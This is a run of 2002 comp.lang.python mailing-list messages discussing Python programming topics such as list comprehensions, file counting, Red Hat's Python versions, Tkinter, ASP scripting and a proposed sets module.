"C:\Program Files\GNU\WinCvs 1.3\PythonLib\cvsgui\Macro.py", line 63, > > > > in Run > > > > _cvsgui.LaunchTclMacro(self.m_file) > > This looks suspicious. Can you take a look in this file and see > what that routine is expecting to do? Maybe you've got it trying > to run a Python macro as a TCL one, or vice versa? > > -Peter From hans at inenco.no Fri May 31 08:35:32 2002 From: hans at inenco.no (Hans Kristian Ruud) Date: Fri, 31 May 2002 12:35:32 GMT Subject: NumPy - Python compatibility Message-ID: <3CF76EDE.6070507@inenco.no> Which NumPy version is compatible with Python 1.5.2 I looked for this information in theNumerical Python release notes on the SourceForge Web page, but could not find it. I think that possibly NumPy 17 might be compatible with Python 1.5.2 but I would like to know for sure. Thanx in advance - p\aa \forh\aa nd takk. Hans Kristian From jafo at tummy.com Sun May 12 18:52:54 2002 From: jafo at tummy.com (Sean Reifschneider) Date: Sun, 12 May 2002 16:52:54 -0600 Subject: Has Red Hat helped or hurt? In-Reply-To: <3CDDAC8C.5746A612@mitre.org>; from mikeb@mitre.org on Sat, May 11, 2002 at 07:43:08PM -0400 References: <3CDDAC8C.5746A612@mitre.org> Message-ID: <20020512165254.D17712@tummy.com> On Sat, May 11, 2002 at 07:43:08PM -0400, Mike Brenner wrote: >Just curious: How many minutes, nay how many seconds, did it take the >Python community to ship Red Hat a Python 1.7 release that happens to >be identical to Python 2.2.1, except the label on the CD? A minor number release, like going from 1.6 to 1.7 should not, according to Python standards, cause existing 1.x code to break. This convention is part of the reason that Red Hat only does minor number updates in their minor number releases... So, how long would it take for such a 1.7 release to be made by the Python community? Forever, Guido would never bless it... Sean -- What we see depends on mainly what we look for. -- John Lubbock Sean Reifschneider, Inimitably Superfluous tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python From mcfletch at rogers.com Fri May 31 13:21:55 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Fri, 31 May 2002 13:21:55 -0400 Subject: count file References: <3cf734ba_1@news.iprimus.com.au> <53HJ8.7782$fG3.277261@news2.ulv.nextra.no> <3cf74de8_1@news.iprimus.com.au> Message-ID: <3CF7B133.6050606@rogers.com> I don't think this is safe on systems where a symbolic link can give you an infinite loop, will let you figure out how to avoid that. (Hint: either avoid tracking through symlinks or keep a dictionary of visited directories and pass it to each iteration). Oh, this is Python 2.2 code, won't work with 1.5.2. Enjoy, Mike import os def countdir( dirname ): base = os.listdir( dirname ) base = [ f for f in base if os.path.isfile( os.path.join(dirname,f) ) ] return len(base) def rcountdir( dirname ): base = os.listdir( dirname ) fcount = len([ f for f in base if os.path.isfile( os.path.join(dirname,f) ) ]) for subdir in [ d for d in base if os.path.isdir( os.path.join( dirname, d)) ]: fcount = fcount + rcountdir( os.path.join( dirname, subdir) ) return fcount if __name__ == "__main__": print countdir( "c:\\" ) print countdir( "d:\\" ) print rcountdir( "c:\\bin" ) And finally, you might want to look at the os.path.walk function. There is also an iterator-based examples hanging around that you could adapt... http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/105873 Enjoy, Mike Gold Fish wrote: > Gerhard H?ring wrote: > > >>In article <53HJ8.7782$fG3.277261 at news2.ulv.nextra.no>, Erlend J. Leiknes >>wrote: >> >>>import os.path >>>path = "/" >>>items = os.path.listdir(path) >>>myfiles = [] >>>for i in range(len(items): >>> if os.path.isfile(path + items[i]): >>> myfiles.append(path + items[i]) >> >> >>It's better to use os.path.join to join path elements, as this will work >>on any platform. There's no cross-platform way to get the root directory, >>though. On some platforms (Windows, for example), there might not even be >>a single root directory. >> >>Gerhard > > How about the directory have another subdirectory, i tried your way but it > show an error when i got subdirectory in the original directory -- _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From dkt at registriesltd.com.au Thu May 30 20:42:15 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 10:42:15 +1000 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? In-Reply-To: ; from tdelaney@avaya.com on Fri, May 31, 2002 at 10:18:34AM +1000 References: Message-ID: <20020531104215.S2276@regdp-02.intint.registriesltd.com.au> On Friday 2002-05-31 at 10:18:34 +1000, Delaney, Timothy wrote: > > I suppose arguments could be made on both sides... > > I would make a different argument ... that Python is not a "scripting" > language. I suppose that's true: it's not *just* a scripting language. Neither is Perl for that matter. In one way, I don't mind getting "correct" answers, but in another way, with my RAD hat on, I'd prefer not to have to worry too much about rounding errors and such. I don't know how Perl and Python 1.5.2 manage their trickery, but I suppose it could raise its ugly head and bite you one day. :-) Cheers David Trudgett From aleax at aleax.it Sat May 4 05:30:27 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 04 May 2002 09:30:27 GMT Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: Pekka Niiranen wrote: > I would like to feed every second (or 3rd or 4th .etc) item in a list to > a function. > > list = ['a', 'b', 'c', 'd', 'e'] > > **some fancy map/filter -trick here** > > => list = ['a', function('b'), 'c', function('d'), 'e'] > > Is there a (functional) way without using for or while -structures ? List comprehensions are an eminently "(functional)" way -- consider that Python took them from Haskell, surely a contender for "most functional of functional languages":-). However, Python's syntax for them was indeed adapted to be more Pythonic, and in particular to use the keyword 'for'. Therefore, it's hard to say whether a list comprehension meets your requirements, or not! With a list comprehension, I'd do something like: def feedOneOfN(sequence, function, N): def identity(x): return x funs = [identity]*(N-1) + [function] return [funs[i%N](x) for x in sequence] > If I only manipulate every second line of a file with that function, > is there a faster way than reading the whole file into a list ?: > > list = open ("myfile.txt", "rb").readlines() I suggest you do NOT use names of builtin types for your own variables: it WILL eventually byte you. Call this 'lines', NOT 'list'. > **modify every 2nd line with set of functions** > ** write the whole list into a new file** > > The size of a file is max 2Mb. For a file of that size, I think that, by far, the fastest approach will be: lines = open("myfile.txt").readlines() for i in range(N-1, len(lines), N): lines[i] = function(lines[i]) open("newfile.txt", "w").writelines(lines) The "functional" requirement results in a lot of useless calls to identity (or other code that adds nothing to the task but does eat some time and/or space), particularly for a large N. Alex From usenet at kenkinder.com Thu May 9 17:59:56 2002 From: usenet at kenkinder.com (Ken Kinder) Date: 9 May 2002 14:59:56 -0700 Subject: won't recognize functions in script References: <3cd9958d@news.cc.umr.edu> Message-ID: <42c0ee9e.0205091359.6d47418e@posting.google.com> "Carl" wrote in message news:<3cd9958d at news.cc.umr.edu>... > I'm writing a simple text file processing program which at this stage just > is reading characters and getting their ascii values. When I define > functions python gives me 'NameError: name 'ascii_val' is not defined Carl, please post your entire source code. The snipped you posted is not enough to determine what was going on. From aleax at aleax.it Mon May 13 13:09:54 2002 From: aleax at aleax.it (Alex Martelli) Date: Mon, 13 May 2002 17:09:54 GMT Subject: Iterators in Sather and Python (was Re: Result of I need your experience - classification and comparison of languages) References: <3CDF6D3E.1090609@hmg.inpg.fr> Message-ID: Terry Reedy wrote: ... >> Traversing more than one structure at a time is easy for Sather, > not for Ruby. > > Python, of course, has map and zip and proposals (accepted yet?) for > lazy, iterator/generator oriented versions. Not accepted yet, but explicit calls to .next() will allow multiple traversals more flexibly, anyway:-). >> Sather's iterators are _way_ more powerful than Python's because >> Sather's can accept both "hot" arguments (evaluated anew each time >> the iterator is called) and "once" ones (evaluated only at the first >> call on the iterator). > > Python generators can be called with mutable arguments, can they not? This has little to do with the power of "hot arguments" to Sather iterators, which are simply general expressions evaluated afresh each time the iterator is called, while a "once argument" is evaluated at the first call to the iterator within a given loop statement. > uniformity and variety have advantages as others have discussed. If a > language has non-function statement syntax like 'loop ... end' and 'if > ... then ...', then I prefer that control items like while, until, and > break be part of that statement syntax. I (and others) see while as a > multiple-execution version of if. On the other hand, resumable This is our most substantial disagreement -- I consider the unification of ALL loop control structures into one overarching concept to be the main contribution of Sather to innovation in programming languages. No reason to have all sort of different syntax when ONE syntax and one Big Idea does it all (and more) even better. Sure, you COULD express "loop if!(condition) ... end" (although the semantics of this very hypothetical "if!" iterator would have to be 'bundled'). But the parallel between while and if is quite imperfect in most languages, anyway. Python does have while/else, but it stretches things a bit to consider its semantics "a multiple-execution version" of those of if/else -- and no while/elwhile/elwhile/else parallel to if/elif/elif/else is on offer anyway. Should it? I don't think so. Sather's loop/end and iterators is a just much nicer way to generalize loops, and I don't think it makes sense to reject it based on a hypothetical parallelism between while and if that doesn't hold anyway! Alex > consumers are in general as sensible as resumable producers. It is > Python's for-loops which make the latter more special for Python. > > Terry J. Reedy From rpinder at usc.edu Sun May 12 14:52:36 2002 From: rpinder at usc.edu (Rich Pinder) Date: Sun, 12 May 2002 14:52:36 -0400 Subject: Python 2.2.1 Windows / install variables ? References: <3CDE7290.3E28D9BD@usc.edu> <3CDE93AB.4E4607D0@usc.edu> Message-ID: <3CDEB9F4.3307092E@usc.edu> I'm not following here John, but I do thank you for the response. I have three windows binary installation scripts that I want to add to my windows machine: 05/11/2002 08:29p 888,416 PyXML-0.7.1.win32-py2.1.exe 05/11/2002 08:47p 1,750,709 4Suite-0.11.1.win32-py2.1.exe 05/11/2002 09:03p 54,871 gvib-1.8.win32-py2.1.ex I have 2.1 installed on the windows machine. When I run ANY of these scripts, the second screen on the installs is titled 'Setup:', and prompts you for 'select python installation to use:'. Then under the prompt is another window that probably is some kind of highlight window - except IT IS EMPTY. Below it is a text entry field titled 'Installation directory' - and it is blank. It is also 'greyed' out - so it can not get focus. You can't enter anything into this whole page, and you cant go forward to the next screen - all you can do is cancel. Again - trying to install any of these three produces the same result - you get the same second install screen, and it can't find the python distribution. What I assumed here is that some environment variable is not set properly from the python install. So, any idea what it's looking for ?? thanks rich Thanks "John J. Lee" wrote: > > On Sun, 12 May 2002, Rich Pinder wrote: > > > I dont understand why they'd have such a 'selection' screen then. > > Because the same installer is used for even pure-Python code. The > installers are generated automatically. Still, you're right that it could > be clearer. > > [...] > > Have checked the THREE add ons (that all must seem to use the same > > windows installer code) - and no words about this in their faq's. > > The filename usually gives a clue, if nothing else: > > PyWhatsisname-0.3-Py2.2.exe -- or smth. From aaron at reportlab.com Mon May 6 09:51:36 2002 From: aaron at reportlab.com (Aaron Watters) Date: 6 May 2002 06:51:36 -0700 Subject: calendar.py doesn't use lists??? References: Message-ID: <9a6d7d9d.0205060551.6ccab1e3@posting.google.com> Tim Peters wrote in message news:... > This was real code breakage, despite that Aaron was mucking with > undocumented interals. We don't *want* to break stuff like that either. > But even pure bugfixes can break somebody's code, and sometimes they do. Historically most of the most useful python library modules have had limited documentation :). At this point I have no idea what is documented and what isn't -- maybe I should check more often. Seriously, though, isn't regenerating month names on every access a bit over the top? Why not just generate real lists once and provide some function that can regenerate them if and when the locale changes? How many applications have locale changes in the middle of a process run? This reminds me of a story in "The Mythical Man Month" where part an IBM operating system kernel was devoted to dealing with daylight savings time (back when bytes costed multiple hundred dollars and core was measured in K's). Just had to gripe again. -- Aaron Watters === There ain't no sanity clause! From dkt at registriesltd.com.au Tue May 21 01:36:33 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Tue, 21 May 2002 15:36:33 +1000 Subject: "One Bullet is never enough" Paper In-Reply-To: <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au>; from dkt@registriesltd.com.au on Tue, May 21, 2002 at 02:33:54PM +1000 References: <3CE68BAA.726DA1A6@engcorp.com> <3CE88785.B9042718@tundraware.com> <838z6epblf.fsf@panacea.canonical.org> <3CE9BC7F.A3565ADE@tundraware.com> <3CE9C990.3064C01C@cascade-sys.com> <20020521143354.Q4474@regdp-02.intint.registriesltd.com.au> Message-ID: <20020521153633.T4474@regdp-02.intint.registriesltd.com.au> On Tuesday 2002-05-21 at 14:33:54 +1000, David K. Trudgett wrote: > Argumentum ad hominis, as you do here by name-calling, doesn't serve I should give up while I'm ahead! The above should read "Argumentum ad hominem" I believe. I should learn some Latin. Here's another useful one: Omnis enim res, quae dando non deficit, dum habetur et non datur, nondum habetur, quomodo habenda est. David Trudgett From fperez528 at yahoo.com Mon May 6 17:58:13 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 06 May 2002 15:58:13 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: Steve Holden wrote: >> I realize you have good intentions, but I truly don't think that in this > case >> the benefits outweigh the cost. OTOH, one could add a comment in the >> docstrings to the effect of 'trig functions expect arguments in radians', >> since it does seem to cause confusion among newbies. >> > But these would be maths newbies as well as Python newbies. The comment is a > good idea. Indeed I meant math newbies rather than Python newbies. Thanks for the clarification, that's what I had in mind but wasn't explicit enough. This can actually bite a very experienced programmer who simply isn't too familiar with math details. Cheers, f. From mhammond at skippinet.com.au Fri May 31 01:58:53 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Fri, 31 May 2002 05:58:53 GMT Subject: Win32 ASP Problems (Response.End) References: Message-ID: <3CF71188.3070304@skippinet.com.au> Jim Abrams wrote: > All sorts of weird flakiness abounds. > > File 1: > > <%@LANGUAGE="Python"%> > <% > Response.End() > %> > End of Line. > > This shows "End of Line." on the page. Response.End() seems to pass > through. By "pass through", I assume you mean "execute"? > File 3: > <%@LANGUAGE="Python"%> > Between Text > <% > Response.end() > %> Unfortunately, we seem to be seeing a combination of factors: * Response.end appears to actually be *calling* Response.End() - even without the parens. This is a side-effect of the way Python queries objects for their properties. This actually shouldn't be happening - Response.end should raise an AttributeError. I will look into this, but have spent too much time on AXScript already this week! * After Response.End() has been called, it appears that the ActiveScripting engine no longer bothers to fetch exception information. For example: <% Response.End() raise ValueError, "Foo" %> does not report the exception. If we simply remove the Response.End() call, we find the exception *is* reported normally. It appears that this is a feature of ASP rather than Python. For example, if you use VBScript code: <% Response.End() a = 1/0 %> You will get the same result as you got for Python (ie, no error details reported). If you remove the call to Response.End(), then you will see the VBScript exception in the browser. So, your code: Response.end() Ends up doing: 1) temp = Response.end 2) temp() As mentioned above, 1) has the effect of *calling* Response.End(), and as this function returns nothing, temp is set to None. 2) then attempts to call None, but as Response.End() has been "called", ASP itself eats the reported exception. FWIW, I have a new ActiveScripting engine that fixes the ASP refresh problem, and should also make ASP much faster when re-displaying the same page (as the script code is not parsed each time, but reused from the last time). Mail me if you would like to test this out. Mark. From joost_jacob at hotmail.com Thu May 9 08:36:00 2002 From: joost_jacob at hotmail.com (J.Jacob) Date: 9 May 2002 05:36:00 -0700 Subject: Tkinter: Getting the cursor to blink again in a Text object Message-ID: <13285ea2.0205090436.65d44ae2@posting.google.com> Per chance I found out how to get the cursor to blink again in a Tkinter.Text object. Suppose you have a frame variable of type Frame that has a .text attribute of type Text. First you do some stuff like scrolling the .text so the cursor disappears. I thought this would only happen with .text['status']=DISABLED but it happens in other circumstances too, unpredictable for me. Now you do: frame.focus() frame.update() frame.text.focus() frame.text.update() And voila the cursor is back and -blinks- again. But now the problem is solved I still wonder if there is something going on I did not understand. Doing only the 2 frame.text.* lines is not enough, that will (sometimes and not portably) give a cursor that does not blink. I found you have to give focus to something else and then to your Text widget, but it feels a bit like hacking. Somebody knows more about this? Joost QOTD: I hate small towns because once you've seen the cannon in the park there's nothing else to do. -- Lenny Bruce From luke.leighton at aspextechnology.com Thu May 2 13:39:43 2002 From: luke.leighton at aspextechnology.com (Luke Kenneth Casson Leighton) Date: Thu, 02 May 2002 17:39:43 +0000 Subject: [PEP] matching and mismatching Message-ID: <3CD179DF.DB9D4FC8@aspextechnology.com> > On Thu, May 02, 2002 at 05:01:59PM +0000, Luke Kenneth Casson Leighton wrote: > > for x in ([1,3,2,5,9] matching lambda x:x > 2): > > print x > > As another poster has observed, you can use list comprehensions for this > purpose, as long as constructing the temporary list is palatable. Of great!! thanks jeff, thanks mark. l. From pinard at iro.umontreal.ca Wed May 1 19:27:54 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 01 May 2002 19:27:54 -0400 Subject: Python vs. Perl, which is better to learn? In-Reply-To: <82znzjsw6k.fsf@acropolis.localdomain> References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> <82znzjsw6k.fsf@acropolis.localdomain> Message-ID: [Patrick W] > IMHO, the best choices for starters are: > * One of [C, C++] > * One of [Python, Perl, Python, Ruby, Python, Tcl, Python] > * Something that encourages a different style of thinking. [Lisp] > * Whatever else turns you on. Excellent advice and analysis, congratulations! I guess programmers should all get acquainted in their life with some non-procedural language. As some people are not inclined toward inference engines :-), one could aim languages like `SQL', non-procedural enough! About `C++'... I once asked a someone, who specialised in languages, what was his opinion about `C++', and he laconically replied: `Simula--'. He was right in that `C++' looks like a half-hearted cross between `C' and `Simula'. But Simula went out of fashion, while `C++' is still in the air. `Lisp' (my preferred one is `Scheme', yet some people take offence when `Scheme' is presented as a `Lisp') encourages a different style of thinking, but still, it is an imperative, procedural language, like `C' and `Python'. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From jafo at tummy.com Sat May 11 17:16:38 2002 From: jafo at tummy.com (Sean Reifschneider) Date: Sat, 11 May 2002 15:16:38 -0600 Subject: Has Red Hat helped or hurt? In-Reply-To: ; from tanzer@swing.co.at on Wed, May 08, 2002 at 08:36:36AM +0200 References: <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Message-ID: <20020511151638.B24475@tummy.com> On Wed, May 08, 2002 at 08:36:36AM +0200, Christian Tanzer wrote: >You are just slightly off. 1.5.2 was released more than three years >ago and was superseded by a newer Python almost 2 years ago. Red Hat has a policy that they won't do a major number upgrade within a major number of their distro. So, going from Red Hat 7.2 to 7.3 won't produce an upgrade of Python from 1.5.3 to 2.2.1... >Do I understand you correctly in that it was perfectly reasonable for >Red Hat to first ship a broken gcc and then change to a newer one >during the 7.x series? It apparently fit into their upgrade policy... My understanding, from listening to C++ programmers who were really following the issue, is that the push to that "broken" compiler (which compiled without problem all the extras we were shipping, BTW) was really necessary because the previous compiler was also broken for normal use... Dealing with things like templates and the like... >I doubt anybody would care which Python version Red Hat uses for their >tools if they didn't make it unreasonably difficult for their users to >use a current Python version for non-Red Hat purposes. It doesn't seem unreasonably difficult to use Python 2.x on Red Hat 7.x boxes. You pick up the RPMs from python.org and install them... Or (shameless plug), you buy KRUD which installs Python 2.2.1 as part of a normal Red Hat-based install... Sean -- "All I'm saying is that when I'm around you I find myself showing off, which is the idiots version of being interesting." -- _LA_Story_ Sean Reifschneider, Inimitably Superfluous tummy.com - Linux Consulting since 1995. Qmail, KRUD, Firewalls, Python From pyth at devel.trillke.net Wed May 22 20:53:37 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 23 May 2002 02:53:37 +0200 Subject: needed Python code In-Reply-To: ; from tdelaney@avaya.com on Thu, May 23, 2002 at 10:17:43AM +1000 References: Message-ID: <20020523025337.A11253@prim.han.de> Delaney, Timothy wrote: > > From: holger krekel [mailto:pyth at devel.trillke.net] > > > > Gabe Newcomb wrote: > > > I should probably make a PEP for this one: > > > > > > for line in python_mail_contents: > > > if line.find('-ly yours'): > > > stuff_mail_in_garbage(python_mail) > > > > you would unfortunately sort out mail from some > > very good python developers ... > > Actually, you would unfortunately sort out mail from everyone ... > I don't know a single person who has a line starting with '-ly yours' ... How do you know that 'line' is a string in all this pseudocode? :-) holger From aleax at aleax.it Sat May 11 12:01:35 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 16:01:35 GMT Subject: Iterating over the cells of an array? References: Message-ID: Duncan Smith wrote: > to iterate over the cells in a Numeric array. No problem if the rank is > fixed. eg. ... > But I'm not sure of the 'best' way to handle this for an array of arbitray > rank (i.e. where 's' is an arbitrary length sequence of non-negative for item in Numeric.ravel(whatever): process(item) > programming style. So, anyone any thoughts on this? Do iterators offer a > cute way of handling it? Cheers. TIA. > > Duncan Smith > > p.s. For one specific problem I will be dealing with very sparse arrays, > and > I only really want to consider the cells with non-zero values. So any > problem-specific advice would also be appreciated. (In this case I would > need to return both the value and index of the cell.) :-) Numeric probably offers enough magic to let you do this directly, too, but I don't know it deeply enough. So, if I had a Numeric array suspected to be "very sparse" and had to return the index-value pairs for nonzero cells, I'd do something like: def iterind(shapetuple): cv = [0]*len(shapetuple) while 1: yield tuple(cv) i = 0 while i Hi, I'm trying to figured out how to create an exe from the wxPython demo. I have some sections of the program working but they are some missing imports. Any help would be apreciated Thanks JP From mcalla at insightbb.com Fri May 17 21:02:36 2002 From: mcalla at insightbb.com (Mike Callahan) Date: Sat, 18 May 2002 01:02:36 GMT Subject: Two Tkinter questions Message-ID: Question #1 I want a text widget to completely fill its space. I can do this in tkinter using the pack geometery manager: text.pack(fill='both', expand=1) If I resize the window, the the text widget continues to fill the window, however if I use grid: text.grid(sticky='nsew') the text widget stays the same size if I make the window larger. Can't grid do the same thing that pack can do? Question #2 I want to make a horizontal scroll bar scroll two text widgets at the same time. I know how to connect a scrollbar to a text widget, but is there a way to connect one scrollbar to two widgets? Thanks, Mike Callahan From deckerben at freenet.de Sun May 5 09:39:01 2002 From: deckerben at freenet.de (deckerben) Date: Sun, 5 May 2002 15:39:01 +0200 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> <3cd51348$0$151$9b622d9e@news.freenet.de> <3CD526E8.EA6CDBBF@engcorp.com> Message-ID: <3cd531be$0$19942$9b622d9e@news.freenet.de> > Then you can do all kinds of neat analysis of the stdout results > of running the program. Other more sophisticated options follow > on the heels of that experiment. That's really cool, by the way. What are the other experiments? From pyth at devel.trillke.net Fri May 24 08:47:17 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 24 May 2002 14:47:17 +0200 Subject: Iterating through two lists In-Reply-To: <3cee2338_2@news3.newsgroups.com>; from jblazi@hotmail.com on Fri, May 24, 2002 at 01:40:40PM +0200 References: <3cee0ae6_1@news3.newsgroups.com> <3cee2338_2@news3.newsgroups.com> Message-ID: <20020524144717.H11253@prim.han.de> jb wrote: > holger krekel wrote: > > > no doubt, you get hundreds of suggestions. pythoneers *love* > > these kind of tasks :-) > > > > for (a,b) in zip(x,y): a.f(b) > > > > would be the most straigtforward, i guess. > > Thx. Have you read by any chance Paul Graham's article at > http://www.paulgraham.com/icad.html ? He makes a few remarks as to how > Python is not (yet) sufficient, if I understod correctly. I should be > intrested in a Python expert's opinion on this. thanks for the pointer. it's very well worth reading. But my take on using python's power would be different than in the article. For joining readers of this thread: -- In his article 'Revenge of the nerds' Paul Graham discusses different solutions for this problem: "We want to write a function that generates accumulators-- a function that takes a number n, and returns a function that takes another number i and returns n incremented by i. (That's incremented by, not plus. An accumulator has to accumulate.)" he goes on by giving the lisp example and a perl example: (defun foo (n) #'(lambda (i) (incf n i))) and in Perl 5, sub foo { my ($n) = @_; sub {$n += shift} } And intensively discusses the python version which is wordier and does indeed look somewhat hackish/longish. -- Now what i appreciate about python is that you can implement *generic* patterns as needed. So my little implementation makes the solution just a 'special case': class accumulator: def __init__(self, obj, method='__add__'): self.obj=obj self.method=method def __call__(self, *args): if type(self.method) is str: result = getattr(self.obj, self.method) (*args) else: result = self.method(self.obj, *args) if type(result) == type(self.obj): self.obj=result return self.obj this allows to do the following: >>> inc = accumulator(5) >>> print inc(3) 8 >>> print inc(5) 13 you can give complex numbers or strings to accumulator as well (as long as the later passed arguments are consistent, that is!). But you can do even more, e.g.: >>> linc2=accumulator([], list.append) >>> print linc2(3) [3] >>> print linc2('hallo') [3, 'hallo'] >>> print linc2(3+5j) [3, 'hallo', (3+5j)] >>> So my argument is: python might be a bit more wordy for very simple requirements. but it doesn't require much more effort if you handle more generic cases. In *this* respect python probably isn't much behind lisp or perl. I'd *guess* it's even ahead in lots of cases :-) holger From nookieNO_SP_AM at online.no Mon May 13 17:51:37 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Mon, 13 May 2002 21:51:37 GMT Subject: Core Python programming References: <337619fa.0205121618.26e557e0@posting.google.com> Message-ID: I dont think you need that book as long you got excellent beginners manuals at www.python.org for newbies, why not try the newbies section? http://www.python.org/doc/Newbies.html "Raphael Ribeiro" wrote in message news:337619fa.0205121618.26e557e0 at posting.google.com... > I wanna buy this book , for i heard it is PERFECT for a beginner , but > i saw it , and it was released in 2000, will i get obsolete if buy it > today, and will i have problems with the new features included after > 2000? From sholden at holdenweb.com Wed May 1 18:08:11 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 18:08:11 -0400 Subject: Using MyODBC with Python References: <3CD06255.946D84E2@earthlink.net> Message-ID: <5KZz8.28996$Au5.28543@atlpnn01.usenetserver.com> "Joseph A Knapka" wrote in message news:3CD06255.946D84E2 at earthlink.net... > Steve Holden wrote: > > > that). You could use the one that comes with the Win32 extensions, but I > > would recommend Marc-Andre Lemburg's mxODBC, which you will find at > > > > http://www.egenix.com/files/python/ > > > > Note that a license is required for commercial use. This allows you to say > > stuff like: > > > > import mx.ODBC as odbc > > conn = odbc.connect("SystemDSNName") > > curs = conn.cursor() > > curs.execute("SELECT * FROM tablename") > > data = curs.fetchall() > > Unless I am confused, it appears that the win32 > extensions (as included with ActivePython) allow > this as well (exactly the same code, except for the > package name). Is there any particular reason you > recommend wxODBC over the win32 odbc module? > The odbc module has proved to be less than reliable in some situations. If it works for you, fine! Don't forget to import dbi before importing odbc. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From fxj at hotmail.com Sun May 26 17:16:31 2002 From: fxj at hotmail.com (F. Jamitzky) Date: 26 May 2002 14:16:31 -0700 Subject: extended list comprehensions Message-ID: It would be great to have something like a list comprehension for the reduce function. It would work in the same way as the comprehension for the map function, which is: [foo(x) for x in xs] <-is the same as-> map(foo,xs) and maybe it could be written as: {y=y+x for x in xs} <-would be-> reduce(operator.add,xs) what do the experts think about that ? ferdinand From michael.williams at st-annes.oxford.ac.uk Wed May 29 09:20:39 2002 From: michael.williams at st-annes.oxford.ac.uk (Michael Williams) Date: Wed, 29 May 2002 14:20:39 +0100 Subject: Emulating Pascal input References: Message-ID: On Wed, 22 May 2002 12:03:20 +0100, Michael Williams wrote: > We're currently running a trial implementation of a teaching course in > Python here at the University of Oxford Physics department. The current > course uses Pascal and, although it works well, is obviously sub-optimal > for a modern undergraduate education. > > Details of the results of the trial will be posted to EDU-sig when it is > complete, but for now we're trying to address what we see as a > limitation of Python for introductory programming, namely input. Dear all, Sorry about my total failure to respond to any of your kind and helpful suggestions. I can adsure you that I have read them all, and will be collating the results in the dissertation I am producing on Python's suitability as a teaching language. However, a time-crunch has meant It has not been possible for me to respond in detail to all of your comments. In summary, I tend to agree with most of you when you say that we should teach the ``Python way'', but I need to think about it in more detail. So this is just to let you know that I'm still alive, and will be posting in couple of weeks with a) the URL of my dissertation and b) some specific points that I've asked for comments on this newsgroup. See you on the other side, -- Michael From tim.one at comcast.net Sat May 4 20:56:57 2002 From: tim.one at comcast.net (Tim Peters) Date: Sat, 04 May 2002 20:56:57 -0400 Subject: degrees and radians. In-Reply-To: Message-ID: > Maybe he's not on Unix? The docstrings are the same on Windows and Macs : >>> print math.sin.__doc__ sin(x) Return the sine of x (measured in radians). >>> although-if-you-stick-with-1.5.2-you-won't-see-that-ly y'rs - tim From kseehof at neuralintegrator.com Fri May 3 23:48:32 2002 From: kseehof at neuralintegrator.com (Ken Seehof) Date: Fri, 03 May 2002 20:48:32 -0700 Subject: Slight irritation with try/finally indentation In-Reply-To: Message-ID: David Eppstein wrote: > In article <3cd2c922.692157118 at news>, > ullrich at math.okstate.edu (David C. Ullrich) wrote: > > > > setup() > > > try: > > > process() > > > finally: > > > cleanup() > > > [...] > > > > > >What I find irritating is that `cleanup()' is not aligned anymore with > > >`setup()', as it was originally, so we loose on the legibility of the > > >parenthetical idiom we wanted to stress. > > > > Exactly the same thing bothered me years ago with try-finally in > > another language (where the indentation was optional). I never > > got around to complaining about it, though... > > You could always do > > if 1: # indent to match try-finally > setup() > try: > process() > finally: > cleanup() > Hmm. This thread reminds me of the brilliant solution to the very serious :-) lack of begin and end block markers for python: if x: #begin for j in range(4): #{ f(j); #} #endif I wonder how many python programmers would have switched to a different language if Fredrik Lundh and Michael McLay hadn't made these undocumented keywords known to the public. http://www.python.org/doc/Humor.html#parsing - Ken From skip at pobox.com Thu May 2 17:26:59 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 2 May 2002 16:26:59 -0500 Subject: Low level python In-Reply-To: <4_hA8.4181$lA2.420467@news.xtra.co.nz> References: <4_hA8.4181$lA2.420467@news.xtra.co.nz> Message-ID: <15569.44835.878097.778250@beluga.mojam.com> Matthew> I've been thinking of writing a device driver in python. Some Matthew> people say this is ridiculous. I used psyco to improve the Matthew> speed, and now have a program that does the device driver's job Matthew> (a proprietry touchscreen driver) in user mode. I think this is a very cool idea. Sounds like a Python Conference paper waiting to be written. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) From rnd at onego.ru Sun May 19 02:25:46 2002 From: rnd at onego.ru (Roman Suzi) Date: Sun, 19 May 2002 10:25:46 +0400 (MSD) Subject: PEP 218 Re: ANN: set-0.1 module available In-Reply-To: <3CE72B3F.F0BC4ADB@cascade-sys.com> Message-ID: If I understand correctly, our discussion rotates around two axes: hashable/unhashable items: ------------------------- - Set must support any objects found in Python system, otherwise people could just use dicts to the same results. mutable/immutable set: --------------------- - mutable sets are more practical. If one needs to use set as a dict key, let him convert it to sorted tuple and do so. I think, it's a rare case. Much more rare than need to append element to the set. My idea is that sets should be as lists, but with special set of operations and not allowing doubles. I even thought, sets could be based purely as unordered, without duplicates collection of "pointers" to objects but due to the following: >>> a = "ab" >>> b = "a" +"b" >>> id(a) 135509000 >>> id(b) 135171664 it is not so appealing idea... So, my understanding is: if sets are into Python, they need to be as powerful, as possible. Otherwise dictionary keys will be preferred by people. My votes: unhashable (general) items +1 mutable sets +1 Sincerely yours, Roman 